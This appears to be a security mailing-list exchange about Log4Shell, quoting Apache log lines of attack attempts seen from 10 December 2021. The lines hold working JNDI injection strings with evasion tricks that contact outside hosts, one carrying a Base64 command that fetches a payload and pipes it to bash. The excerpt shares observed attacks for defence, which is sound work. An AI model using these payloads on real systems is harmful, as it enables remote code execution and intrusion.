The Base64 part tries to open a shell on the target host, you can decode
yourself.
On 13 Dec 2021, at 12:39, Jörg Kost wrote:
You can't see it. The attack vector can hide in HTTP GETs, Posts
(SSL), in Headers, in anything related to where a Java process does
logging with Log4j; it's innumerable. It might even evaluate from a
URI itself; it won't use a fixed port. It's not wormy right now, but
maybe it will soon.
We are seeing things like this since 10th of Dec. And this is only a
typical Apache Logfile for HTTP/HTTPS, where we do logging:
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301
281 "${jndi:dns://45.83.64.1/securityscan-http80}"
"${jndi:dns://45.83.64.1/securityscan-http80}
GET
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}
HTTP/1.1" 200 -
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}
